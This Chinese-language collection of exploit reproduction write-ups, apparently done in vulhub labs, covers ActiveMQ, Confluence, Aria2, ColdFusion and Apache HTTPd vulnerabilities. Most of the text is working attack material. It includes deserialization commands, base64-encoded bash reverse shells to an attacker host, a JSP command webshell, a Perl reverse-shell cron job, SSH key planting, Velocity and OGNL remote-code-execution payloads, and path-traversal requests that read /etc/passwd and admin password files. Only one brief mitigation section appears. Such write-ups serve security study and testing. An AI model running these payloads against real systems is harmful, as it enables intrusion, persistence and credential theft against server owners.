ActiveMQ Deserialization Vulnerability (CVE-2015-5254)

Apache ActiveMQ概要:

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

环境搭建

服务器,docker启动环境
kali攻击机

关于漏洞利用过程:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面(8161端口),读取消息,触发漏洞

漏洞复现过程:

这边使用jmet 作为渗透测试工具就是使用jmet构造反序列化对象
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)
jmet 下载地址为https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

代码:

1
2
mkdir external
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

image-20211220184539572

利用漏洞执行任意命令

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 服务器IP 61616

image-20211220184558861

我这里
此时会给目标ActiveMQ添加一个名为event的队列,但是有一个前提条件就是这个漏洞需要管理员访问消息触发。
这里我们可以通过弱口令登录admin/admin
http://服务器ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

image-20211220184618311

根据ID找到消息然后点击就可以触发命令执行漏洞了

image-20211220184640799

命令执行结果为上面构造的:
"touch /tmp/success"
可以在docker容器中tmp目录查看到

利用漏洞弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 服务器IP 61616
注意一点就是要用base64来绕过java机制

image-20211220184704585

在kaili上设置监听端口
nc -lvvp 1234
根据ID找到消息,点击,触发漏洞。

image-20211220184726235

ActiveMQ漏洞( CVE-2016-3088)

漏洞背景

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。

漏洞原理

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,下载 ActiveMQ 5.7.0 源码 ,可以看到后台处理 PUT 的关键代码如下

image-20211220184836765

用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义,如下

image-20211220184852708

有趣的是,我们伪造一个特殊的上传路径,可以爆出绝对路径

image-20211220184905524

顺着 PUT 方法追踪,可以看到调用了如下函数

image-20211220184934893

同时看到后台处理 MOVE 的关键代码如下,可以看到该方法没有对目的路径做任何限制或者过滤。

image-20211220185000506

由此,我们可以构造PUT请求上传 webshell 到 fileserver 目录,然后通过 Move 方法将其移动到有执行权限的 admin/ 目录。

影响版本

Apache Group ActiveMQ 5.0.0 - 5.13.2

Apache ActiveMQ 5.x ~ 5.14.0

ActiveMQ 可作为关键词检索

漏洞复现

直接写shell

写 shell 的话,需要写在 admin 或者 api 中,也就是需要登录,没有密码的话完成不了写 shell 操作。

(我是用vulhub的环境)该环境默认的口令为 admin/admin。

访问 http://ip:8161/admin/test/systemProperties.jsp

获取当前系统的路径

image-20211220185029069

构造发包

代码:

1
2
3
4
5
6
7
8
9
PUT /fileserver/2.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 120976

webshell...

我用的是这个jsp小马

JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>

发过去后回显204,因为在 fileserver 路径下是不解析的

image-20211220185131903

然后移动到 api 目录下,成功的话,返回 204 No Content

1
2
3
4
5
6
7
MOVE /fileserver/2.txt HTTP/1.1 
Destination: file:///opt/activemq/webapps/api/s.jsp
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close
Content-Length: 0

image-20211220185230853

执行命令

image-20211220185252335

写入crontab(计划任务)自动化弹shell

这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)

构造包

1
2
3
4
5
6
7
8
9
PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

将其移动到/etc/cron.d/root:

image-20211220185351811

如果上述两个请求都返回204了,说明写入成功。等待反弹shell:

这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。

image-20211220185411103

上传SSH公钥

既然可以任意文件上传和移动,很自然的可以想到上传我们的 ssh 公钥,从而实现 SSH 方式登录。

首先生成密钥对。(如果已存在则不需要)
ssh-keygen -t rsa
然后上传、移动到/root/.ssh/并重命名为authorized_keys

image-20211220185435861

image-20211220185508376

之后SSH登录即可

漏洞防护方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以image-20211220185529242下配置来禁用 ActiveMQ Fileserver 功能

Atlassian Confluence 路径穿越与命令执行漏洞复现 CVE-2019-3396

简介

Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

参考资料:

环境搭建

访问http://target_ip:8090会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击Get an evaluation license,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons,记得选择not installed yet)

image-20211220185728024

之后它会自动跳转到原页面并将证书自动填好

image-20211220185749915

然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。

如果提示填写cluster node,路径填写/home/confluence即可

image-20210405133115909

后续可能要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres

image-20210405133348226

接下来的内容随意选择填写

image-20210405133724371

image-20210405133752765

image-20211220185928525

image-20210405133849127

image-20210405133956441

0x02.漏洞复现

路径穿越

发送如下数据包即可读取文件web.xml

1
2
3
4
5
6
7
8
9
10
11
12
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target_ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://target_ip:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

我是先抓了一个包后自己改了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target_ip:8090
Content-Length: 168
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Content-Type: application/json
Origin: http://target_ip:8090
Referer: http://target_ip:8090/collector/pages.action?key=SPC
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=232F54EFE4F60A79C8BCE610F69B43AF; seraph.confluence=524289%3A48e4dbe7a203952e4258c9a5ff33e5d0ada6196c
Connection: close

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

成功读取web,xml

image-20210405134837821

image-20210405135038930

6.12以前的Confluence没有限制文件读取的协议和路径,修改请求中_template参数的值,即可实现本地文件包含,我们可以使用file:///etc/passwd来读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target_ip:8090
Content-Length: 176
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Content-Type: application/json
Origin: http://target_ip:8090
Referer: http://target_ip:8090/collector/pages.action?key=SPC
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=232F54EFE4F60A79C8BCE610F69B43AF; seraph.confluence=524289%3A48e4dbe7a203952e4258c9a5ff33e5d0ada6196c
Connection: close

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}

image-20210405135244811

远程代码执行漏洞

修改请求中_template参数的值,可以包含远程文件,支持https协议,http目前无法利用

用python3 -m pyftpdlib -p port开启一个简单的ftp服务器

1
2
python3 -m pip install pyftpdlib
python3 -m pyftplib -p 8888

image-20210405151414404

root目录下添加一个r.vm文件,内容为

1
2
3
4
5
6
7
8
9
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end

修改_template参数的值为ftp://attack_ip:8888/r.vm并在其后加入command值,设置为id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: target_ip:8090
Content-Length: 176
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Content-Type: application/json
Origin: http://target_ip:8090
Referer: http://target_ip:8090/collector/pages.action?key=SPC
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=232F54EFE4F60A79C8BCE610F69B43AF; seraph.confluence=524289%3A48e4dbe7a203952e4258c9a5ff33e5d0ada6196c
Connection: close

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://attack:8888/r.vm","command":"id"}}}

发送后成功执行命令

image-20210405145638387

尝试反弹shell

使用base64编码来绕后java的机制,将command值换为base64的payload

http://jackson-t.ca/runtime-exec-payloads.html

1
2
3
bash -i >& /dev/tcp/attack_ip/port 0>&1 #反弹shell
base64
bash -c {echo,payload的base64编码}|{base64,-d}|{bash,-i}

image-20210405150029928

在攻击机上监听7777端口,发送数据包后成功反弹shell

image-20210405150050551

漏洞影响

根据 ZoomEye 网络空间搜索引擎对关键字 “X-Confluence” 进行搜索,共得到 61,856 条结果,主要分布美国、德国、中国等国家。

1
6.6.0, 6.7.0, 6.8.0

Aria2 任意文件写入

Aria2介绍

  Aria2是一个命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc参数启动.Aria2的RPC服务器可以方便的添加,删除下载项目。

漏洞描述

  通过控制文件下载链接,文件储存路径以及文件名,可以实现任意文件写入。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能。

利用payload及工具

1
2
#! /bin/bash
/bin/bash -i >& /dev/tcp/IP/PORT 0>&1

漏洞复现

打开是空白,但是数据包显示为404

image-20211109083259237

rpc通信需要json或xml,直接从网页操作不方便,我们使用第三方UI与目标进行通信,打开 http://binux.github.io/yaaw/demo/# 点击configuration,设置json-rpc路径(原理具体解释参照:https://paper.seebug.org/120/

image-20211220190130164

image-20211220190148660

这时候,arai2会将恶意文件(我指定的URL)下载到/etc/cron.d/目录下,文件名为shell。而在debian中,/etc/cron.d目录下的所有文件将被作为计划任务配置文件(类似crontab)读取,等待一分钟不到即成功反弹shell

如果反弹不成功,注意crontab文件的格式,以及换行符必须是\n,且文件结尾需要有一个换行符。

Atlassian Confluence OGNL表达式注入代码执行漏洞(CVE-2021-26084)

简介

Atlassian Confluence是企业广泛使用的wiki系统,其部分版本中存在OGNL表达式注入漏洞。攻击者可以通过这个漏洞,无需任何用户的情况下在目标Confluence中执行任意代码。

环境搭建

执行以下命令启动一个Confluence 7.4.10 data center 试用版本服务器:

1
docker-compose up -d

环境启动后,访问http://your-ip:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。在填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

image-20211220190511179

漏洞利用

有多个接口可以触发这个OGNL表达式注入漏洞。

/pages/doenterpagevariables.action

这个接口不需要登录即可利用,发送如下数据包,即可看到233*233已被执行:

1
2
3
4
5
6
7
8
9
10
11
POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

image-20211220190601042

执行任意命令:

1
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027

image-20211220190622507

/pages/createpage-entervariables.action

这个路径也不需要用户登录:

1
2
3
4
5
6
7
8
9
10
11
POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

/pages/createpage.action

这个接口需要一个可以创建页面的用户权限:

1
2
3
4
5
6
7
8
9
10
GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close

影响版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
All 4.x.x versions
All 5.x.x versions
All 6.0.x versions
All 6.1.x versions
All 6.2.x versions
All 6.3.x versions
All 6.4.x versions
All 6.5.x versions
All 6.6.x versions
All 6.7.x versions
All 6.8.x versions
All 6.9.x versions
All 6.10.x versions
All 6.11.x versions
All 6.12.x versions
All 6.13.x versions before 6.13.23
All 6.14.x versions
All 6.15.x versions
All 7.0.x versions
All 7.1.x versions
All 7.2.x versions
All 7.3.x versions
All 7.4.x versions before 7.4.11
All 7.5.x versions
All 7.6.x versions
All 7.7.x versions
All 7.8.x versions
All 7.9.x versions
All 7.10.x versions
All 7.11.x versions before 7.11.6
All 7.12.x versions before 7.12.5

Adobe ColdFusion文件读取CVE-2010-2861

Adobe Coldfusion组件介绍

Adobe ColdFusion,是一个动态Web服务器,其CFML(ColdFusion Markup Language)是一种程序设计语言,类似现在的JSP里的JSTL(JSP Standard Tag Lib),从1995年开始开发,其设计思想被一些人认为非常先进,被一些语言所借鉴。

Coldfusion 最早是由 Allaire 公司开发的一种应用服务器平台,其运行的 CFML(ColdFusion Markup Language)针对Web应用的一种脚本语言。文件以*.cfm为文件名,在ColdFusion专用的应用服务器环境下运行。在 Allaire 公司被 Macromedia 公司收购以后,推出了 Macromedia ColdFusion 5.0,类似于其他的应用程序语言,cfm文件被编译器翻译为对应的 c++ 语言程序,然后运行并向浏览器返回结果。虽然 .cfc 和 custom tag 具有类似的重用性,但 cfc 提供了更加灵活的调用方式,例如 webservice 方式的调用支持。

Macromedia已经被Adobe并购,所以ColdFusion亦成为Adobe旗下产品。

影响范围

Adobe ColdFusion 8、9

目前受影响的Adobe Coldfusion版本:

ColdFusion 2016 Update13及之前版本

ColdFusion 2018 Update7及之前版本

漏洞描述

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。

Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。

漏洞分析

此漏洞与之前爆出的Tomcat文件包含漏洞CVE-2020-1938的利用方式相同,利用ajp协议设计缺陷,攻击者可以构造内部属性值,通过控制

1
2
3
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path

三个属性值,实现漏洞的利用。

以Adobe Coldfusion 2018作为漏洞分析的环境,分析Adobe Coldfusion处理ajp协议数据的代码(runtime路径下导入的tomcat-coyote.jar依赖包),org.apache.coyote.ajp.AjpProcessor类代码如下:

image-20211220190809614

可以判断漏洞利用流程与CVE-2020-1938基本一致。

漏洞复现

登录初始化环境,然后退出直接访问连接

读取文件/etc/passwd

1
/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en
1
http://192.168.1.5:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en

image-20211109103251895

直接读取后台管理员密码

1
/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en
1
http://192.168.1.5:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en

image-20211109103624994

Apache SSI 远程命令执行漏洞(SSI注入漏洞)

SSI

漏洞复现之前,要知道SSI是什么,那么SSI是什么呢?

SSI—-即server-side includes

功能:

SSI提供了一种对现有HTML文档增加动态内容的方法,不需要编写复杂的JSP/PHP/ASP等程序或者调用CGI程序。

用法:

ssi的语法格式类似HTML的注释,因此正确启用ssi之后,浏览器可以忽略他但是源码仍然可见,服务器会对特定的ssi指令解析,从而实现少量动态内容的添加。

SSI 服务器端包含

SSI(server-side includes)能帮我们实现什么功能:
SSI提供了一种对现有HTML文档增加动态内容的方法,即在html中加入动态内容。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。

在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用语法执行任意命令。

Apache SSI 远程命令执行漏洞原理

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用语法来执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为”服务器端嵌入”或者叫”服务器端包含”,是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

漏洞复现

上传php失败image-20211108181054357

正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件:

1
<!--#exec cmd="ls" -->

上传成功,去访问一下

image-20211108181505395

Apache HTTPD 多后缀解析漏洞

漏洞简介

Apache Httpd支持一个文件拥有多个后缀,不同的后缀执行不同的命令,也就是说当我们上传的文件中只要后缀名含有php,该文件就可以被解析成php文件,利用Apache httpd这个特性,就可以绕过上传文件的白名单。

该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞

1
httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。

漏洞原理

apache httpd支持一个文件有多个后缀,如:test1.php.pdf 。在windows下,会直接根据最后的.来进行分隔,将其判定为pdf文件,但在apache中可不是这样的,apache会从后往前依次进行判别,遇到不认识的后缀,便会往前读,如果还是不认识再往前,若是到最后一个都不认识,则会将该文件当成默认类型文件读取。
那么有人要问了,我怎么知道它认识哪些不认识哪些呢?在/etc下有个mime.types文件定义了apache可以识别的文件后缀。以下是该文件部分内容:
Apache漏洞—多后缀名解析、目录遍历和(CVE-2017-15715)_第1张图片
该解析漏洞产生的原因一部分是基于apache的这种特性

还有就是

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

1
2
AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

1
AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

漏洞复现

当我们直接上传1.php时无法上传

image-20211108174343870

加一下后缀,上传成功

image-20211108174514935

Apache HTTP Server 2.4.50路径穿越漏洞 (CVE-2021-42013)

漏洞描述

Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

影响版本

Apache 2.4.49 和 Apache 2.4.50

漏洞复现

打开发现

image-20211108141313420

POC测试

使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。

但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):

1
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: your ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Cache-Control: max-age=0

远程代码执行POC:

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,(此靶场是已启用cgid)

1
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: your ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Cache-Control: max-age=0
Content-Length: 7

echo;id

Apahce HTTPd 2.4.49(CVE-2021-41773)

漏洞描述

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:

1、版本等于2.4.49
2、Require all granted(默认情况下是允许被访问的)。

攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

影响版本

Apache HTTP Server 2.4.49

漏洞复现

image-20211108124002906

POC测试

目录遍历POC:

1
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

或者

1
2
3
4
5
6
7
8
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: yourip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

远程代码执行POC:

在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,(此靶场是已启用cgid)

1
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

或者

1
2
3
4
5
6
7
8
9
10
11
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: yourip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
